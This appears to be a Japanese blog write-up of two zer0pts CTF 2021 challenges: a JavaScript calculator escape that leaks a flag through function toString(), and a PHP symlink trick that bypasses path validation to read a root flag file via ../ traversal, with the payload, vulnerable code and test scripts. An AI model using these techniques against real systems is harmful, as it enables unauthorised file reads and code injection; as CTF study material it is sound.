初めに
Writeupが読みたい方はこちらの参考リンク先の方を見ていただいた方が良いと思われます、、!
CTFtime.org / zer0pts CTF 2021 / Kantan Calc / Writeup
zer0pts CTF 2021 - Kantan Calc · Issue #22 · aszx87410/ctf-writeups · GitHub
Kantan Calc (zer0pts CTF)
最終的に次を作成することを目指す。
(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()
まず関数をtoString()をすることで、文字列として出力できる。
> function a() {} undefined > console.log(a+'') function a() {}
arguments.calleeで関数自身を呼ぶことができるので、次のようにかける
> a =(function(){return arguments.callee.toString()})
[Function: a]
> a()
'function(){return arguments.callee.toString()}'
> (function(){return arguments.callee.toString()})()
'function(){return arguments.callee.toString()}'
この例のカッコの使い方は次を見るとわかりやすい
> (function(){return 'test'})()
'test'
> a=(function(){return 'test'})
[Function: a]
> a()
'test'
() を末尾につけることで定義した関数をすぐ呼びさせている。
次にアロー関数の解釈。
JavaScript/関数/アロー関数 [Ore Base]
安直に理解しようとするなら今回目指す形は引数を2つ取れるような書き方をしていると解釈できる。
> (function () { return (a)=>(b)=>(a+b)})() ('test')('1111')
'test1111'
> (function () { return (a)=>(b)=>(a+b)})() ('test')()
'testundefined'
あとは、引数 a にフラグが含まれている部分を関数()=>{; /* ${FLAG} */ }として渡すことで、a+''=a.toString()を実現し、フラグを返している。
問題ではフラグのプレフィックスが含まれているとフィルターされるので、配列として1文字ずつ返却するようにしているようです。
GuestFS:AFR (zer0pts CTF)
シンボリックリンクとファイル作成をできるサイトで、ルートにあるフラグファイルを表示させる問題。 問題のキーとなる箇所はここ
/* Target file must exist */ $this->assert_file_exists($this->root.$target); /* Create a symbolic link */ @symlink($target, $this->root.$name); /* This check ensures $target points to inside user-space */ try { $this->validate_filepath(@readlink($this->root.$name)); } catch(Exception $e) { /* Revert changes */ @unlink($this->root.$name); throw $e; }
validate_filepathはファイルパスがルートを示していたり、..でパストラバーサルしていないかチェックしている。
解法はまず、以下の関係のファイルとシンボリックリンクを作成
A->B
Bを削除して、A->../../../../../../flagのシンボリックリンクを作成すると、../../../../../../flagを指したBが作成されて、フラグが読める。
A->B->../../../../../../flag
恐らく、A->../../../../../../flagの処理をPHPの関数で呼び出すと、Aが保持しているBのパス名が読まれて、最終的にln -s ../../../../../../flag Bと同じ命令が実行されるんじゃないかなと予想。
この時Bをあらかじめ削除していければln -s ../../../../../../flag Bは存在するファイル名Bを指定しているためエラーが発生する。ので、あらかじめBを削除する処理を挟む必要があったんじゃないかな..?
試しにphp実行
削除なしの場合
削除ありの場合
<?php // creating alink using symlink() function symlink('A', 'B'); unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ ls A exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ php exp.php kali@kali:~/ctf/zero/sql/test$ ls A B exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ readlink A flag
<?php // creating alink using symlink() function symlink('A', 'B'); // unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ php exp2.php PHP Warning: symlink(): File exists in /home/kali/ctf/zero/sql/test/exp2.php on line 6